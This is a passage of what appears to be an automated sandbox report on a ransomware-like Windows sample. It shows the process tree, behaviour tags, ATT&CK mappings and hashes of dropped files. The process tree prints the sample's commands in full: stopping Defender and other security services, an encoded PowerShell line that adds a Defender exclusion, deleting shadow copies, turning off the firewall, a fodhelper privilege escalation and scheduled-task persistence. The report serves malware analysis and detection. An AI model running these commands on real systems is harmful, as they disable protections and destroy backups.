pixelio.io_chrome.exe 137 PID 2812 wrote to memory of 5616 2812 pixelio.io_chrome.exe 140 PID 2812 wrote to memory of 4504 2812 pixelio.io_chrome.exe 142 PID 2812 wrote to memory of 6088 2812 pixelio.io_chrome.exe 144 PID 2812 wrote to memory of 1736 2812 pixelio.io_chrome.exe 146 PID 2812 wrote to memory of 404 2812 pixelio.io_chrome.exe 147 PID 2812 wrote to memory of 5124 2812 pixelio.io_chrome.exe 148 PID 2812 wrote to memory of 5372 2812 pixelio.io_chrome.exe 149 PID 2812 wrote to memory of 5772 2812 pixelio.io_chrome.exe 150 PID 2812 wrote to memory of 3228 2812 pixelio.io_chrome.exe 151 PID 2812 wrote to memory of 1284 2812 pixelio.io_chrome.exe 152 PID 2812 wrote to memory of 5096 2812 pixelio.io_chrome.exe 160 PID 2812 wrote to memory of 888 2812 pixelio.io_chrome.exe 162 PID 2812 wrote to memory of 5704 2812 pixelio.io_chrome.exe 163 PID 5616 wrote to memory of 3968 5616 net.exe 165 PID 5124 wrote to memory of 4336 5124 cmd.exe 185 PID 5772 wrote to memory of 4836 5772 cmd.exe 167 PID 4504 wrote to memory of 3768 4504 cmd.exe 168 PID 1736 wrote to memory of 3904 1736 cmd.exe 169 PID 404 wrote to memory of 1680 404 cmd.exe 170 PID 5372 wrote to memory of 268 5372 cmd.exe 171 PID 3228 wrote to memory of 276 3228 cmd.exe 172 PID 268 wrote to memory of 4212 268 net.exe 173 PID 4504 wrote to memory of 4708 4504 cmd.exe 174 PID 4420 wrote to memory of 4856 4420 chrome.exe 175 PID 4420 wrote to memory of 4696 4420 chrome.exe 186 PID 4420 wrote to memory of 2072 4420 chrome.exe 187 PID 4420 wrote to memory of 5924 4420 chrome.exe 188 PID 4420 wrote to memory of 3324 4420 chrome.exe 206 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://pixelio.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4420 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff8066c728,0x7fff8066c734,0x7fff8066c7403⤵PID:1072
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,11741023511154469088,3613627323195824491,524288 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2060 /prefetch:33⤵
- System Time Discovery
PID:3284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,10674287736519910631,2943036366991000840,262144 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2032 /prefetch:23⤵PID:5460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2360,i,17243403682907574124,5701446573357916309,524288 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2372 /prefetch:83⤵PID:1896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3116,i,17892151442717615093,15364127736955927330,2097152 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3164 /prefetch:13⤵PID:472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,5221984674231843159,2494216184874845504,2097152 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3252 /prefetch:13⤵PID:2188
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4312,i,12698000398443299249,4779580943750686027,2097152 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4324 /prefetch:23⤵PID:3052
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4792,i,15752261344135701991,3489759553705549354,2097152 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4804 /prefetch:13⤵PID:6100
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5556,i,7289057104816796253,6078408881427615987,524288 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3404 /prefetch:83⤵PID:4856
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5728,i,16321053760224259854,12975124871194796027,524288 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5808 /prefetch:83⤵PID:4696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5460,i,16227245098244577553,16705459219488083709,524288 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5836 /prefetch:83⤵PID:2072
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5732,i,9578569964101965126,13854651048186088378,524288 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5764 /prefetch:83⤵PID:5924
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5764,i,12857033590998070766,10942947292042452831,262144 --field-trial-handle=2036,i,11184027524948080286,830334066342628419,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4324 /prefetch:83⤵PID:3324
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5500
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4708
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3256
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4824
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1736
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:6072
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2708
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3824
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5176
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5272 -
C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe"3⤵PID:2676
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3428
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:5380
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5596
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:716
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:4900
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:8
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:640
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5148
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2780
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:1216
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5616 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3768
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:4708
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:6088
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3428
-
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3904
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:1680
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5124 -
C:\Windows\system32\whoami.exewhoami3⤵PID:4336
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5372 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3256
-
-
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:268 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4212
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5772 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4836
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3228 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:276
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1284
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5096 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5596
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:888
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5704
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5316
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5740
-
C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe1⤵PID:744
-
C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe1⤵PID:4736
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:1788
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:4336
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260508_014406.jpg
- Size 103KB
- SHA256 8b017d759a69c42eeea50aee4585f1f32975675f0c28045e3ae1c8327e1c0aae
- MD5 4dda8f2f331b355e05bdd226ce500734
- SHA1 9d1c1efc5b089c617587b3e746a8ad8afc84cfdc
- SHA512 0c21a8c00cd827448be89e7cb736a4d88d28b9773edaf57e3046cb80d61bda4c29bdd2a1f73bfb1fbe102db69af0f520baa4ce67cae7aef6de76dd97b5b3d548
- SSDEEP 1536:IqSRRFH7xa2wIojrved5Xzo+5nI9Teozz62Dlra+GQT:PM/zRI9vz62D9aW
- TLSH T18EA30F079D488B43B13587D9BD070EAD2F1A2B4DE8867AFF01221DDB3E742664C9D06E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 1418bd3e0e3ae59f552baa3ba338ed3fd551680cd909b05bea80c76bec7c6d52
- MD5 32ee2d01b227c460606fedc3f56e0b6e
- SHA1 ff24564a08af1f391ec4c84c8488446679310482
- SHA512 ecbfdb86ebdbfb0f8cbe18e987b530dd0071831472f4a1a3824d060245bb8765bb54f779b422551991c07c39910ced0bf0f44fe6f30bdbc974b3e967a7b89d8a
- SSDEEP 1536:lBU+XPHXcBn3fqM+3BoimpWYK3q5H8RBtsF/uPBJA8ezplLRSku1uJ6VEBrs:lBUU3cBn63Bo9Vz5cRDSuazplCI3ps
- TLSH T1F4633C378B33FDC1677E3D80E05039461C883F6787B56678FA850EAA28E6244DF6E558
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 8551b35c61fc21cdbf663b1249786623f896a744086d61a845a1dbebe300ec1b
- MD5 a8c7f106d1ae5431f34d74d63786b733
- SHA1 c49e4a9f9d5f14f648f8a0757201fe03e704de5b
- SHA512 00b305989e45cb3b1ce9c7c3cb8bea14c337c88adeeba1c4651368ae3a18b0fa6450ec476db1997d06777537b123e3a9977317260c7f21b2deea14655698ac8f
- TLSH T176E02BA7C852EC270DFD271860141709EF0113572B41590F7A3C864D8FF023B458281C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 264B
- SHA256 35b83329e9f667a02d7de3294fc0f629c672f3b79ccddec24f83c9ac1bbef38f
- MD5 320457e7b445a788ef185c9cd3876c51
- SHA1 e4679f2887e2cdfaf127aea3c059ec2be00a490c
- SHA512 3b18cb22ecce2e7256230b487d7162699a4e9c0a631fc1006fb19017b5612b70e566ad158509b9fd4d412570311b4fd02bb8c6109538e2ae3c71178509c011dd
- TLSH T1BAD0C70319C50857EFC189F169C52866623966A05C124F39915F4975DD062EB6E51142
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 5KB
- SHA256 a75f66d26d0e9bc07f8ced08bee9066958b5de763e9c1ff6b23de59050903f7b
- MD5 d1269832ab194527ebb2ab1ac0f66e5f
- SHA1 4e45d4d9535212470a5769a4e63d2d691d39fc07
- SHA512 570e406fda2414172ee5fbe8038bf435768a6674e8b22e5809203d860ff2a0bc9b42cbed03d9f6a2663ff53804a6bade08660f67536bcfecc1b17676a766259f
- SSDEEP 96:D0ZMHYBm+laaIEgdoVaVNl0QSP6eJyneUXm:D0ZMHYBHlaaIEgdoVaVNl0QSP6eJieUW
- TLSH T182C19DF7D3E4896DC91162F4AA246E1FCE6A0928431C7C65C8D8AF4B93F14B2E24075E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 2081bb97c505a10b72a73915f66041f2ea00afa0b8f47d91d7452ea082959325
- MD5 7546540fb3b3280c421fcd7baf6ec311
- SHA1 aa42d70f31b1d1e666cb0dce49b46b967161199f
- SHA512 ad2077c6b8ab02164efdc7c5af57defdca1ddb3aca3043b85a108e0149927d955a96187ba0876d0cb6ce6c5b46d07777808dae01fa2936c374490761e0f53e2a
- TLSH T1F251AEB3C3E89A7D890196E4A7257F2FCD690A14631C3D5AC8D49F0F53E19BBD20064E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 717460769bd68b011a2e0c0067b3dd61342ce6ba4d64cac3b84be5c2ecc70758
- MD5 f17318eda2e0014a4edca6614a26e013
- SHA1 11e718e791ee2fc7f43e7372e6c22449df5edc4c
- SHA512 952759812fefd3394109ef2b8dade38a0c93e915a97cb3e54f2bbc910568ef605f2074502acb03c9cd613565e0880995c7d7b6194eb37a71c0c06fb9b32e59e2
- SSDEEP 192:KRrdUWfOH4v7japAPRp2RWlO9mHsb+WNn3/ew7f2wQThtkw2jVyIsnAUgtaJ:KRrdOHkaUXaFIw2S2pTnWF8
- TLSH T1E342F86EA914753B5CCAD229FA667B27D7F6103124D41E88EAFC8E2C10DB6CD321701B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 13KB
- SHA256 fc2e07ce0c8ca41bcc4ad80ad4f5915fdef120b8edef0aa85dbd3e604f9d8db2
- MD5 4cf6de6d41191f67d8dd90e0c717e959
- SHA1 6688bf9555839cbf78579f1422b165849b40253b
- SHA512 61719e36d547c35f7460ddc1df2fed91ce318826e1358045ad4c4f4d5d9ac06e30df51480c532cd4ab93d4093e8f83bc581035824406f2b385423e549b5b6b4d
- SSDEEP 192:KRrdLWfOH4v7japKPRp0RWl79mHsb+WNn3/ew7f2yQThtkwGjVyIsnAUgvlaJ:KRrdLHka+XwoIw2S2nTnmFvE
- TLSH T1E552086EA814693B5CDAD229F9667B27D7F9103224D41E88EBFC8E2C14DB6CD3217017
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 5519713f3867ef0054c638d66d536a584b7c43667698ccc5532660c100b8e924
- MD5 3010d44f107a743b2959381543333cb0
- SHA1 0c58ae1f82d0d26a9219ca40b54e667b4e5a4f0a
- SHA512 217a4a4ebd37967e3cd3b6457e1dcaa65f0171cb97e92e196185882c573c17224aefa40af694242475c46ec4a7354193d7aa4154790369ce484b8ef7f670eeec
- SSDEEP 384:y4jGR7KxkXqKf/pUZNCgVLH2Hfgslyi7pLuLc8IpXODGJ+ErU3DcHG8aklgfPPN:yMGR7KxkXqKf/pUZNCgVLH2Hfgswi7p8
- TLSH T15D720AA76C4C9A7B0F94CACCC8177F4FADB5015B65D9886493FB582603D4BCB11091EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 2fbb68f35d074d4a9be12cd99df5ab8ff1a381df204eba1bbe88d05de0b59e67
- MD5 22a6c9bb63b02748b18b0fa48718ec89
- SHA1 a287628ccd3d30c0adf1c0c25beb9ec7661dd605
- SHA512 540ce52b0720b2a8b7308be55a591495c5d4fcb73f9f7c43fa3875780aa71992d66f7a57c6701e5b0fd84bef05d26a10d00569eb3e51ebf5664b9252211710fb
- TLSH T11CB01211C0859112C05D0370198484DC7324FF1ADE06031771E85B03DC396604E18280
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 86e1c221b57f9683be17dbb7a0d66fc98cfaf1b36308c0998be272501e2c6161
- MD5 5d47e0b9e532622f79f11dbdc79b7195
- SHA1 67779b9893743dc5bf9059061469fe54b813a70b
- SHA512 d6b9375bc88b8d64ba71c948c877ef23313942e75dffbe03c118cd2a81e9a4a60940dfd4b722f04a927db438c3408dab27a09339f26cf09b67862badb23aa158
- TLSH T1A8B01230C0015D01C49706B01983048831145F14CB063B0953E06EB2D8262E14014150
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe587ccc.TMP
- Size 96B
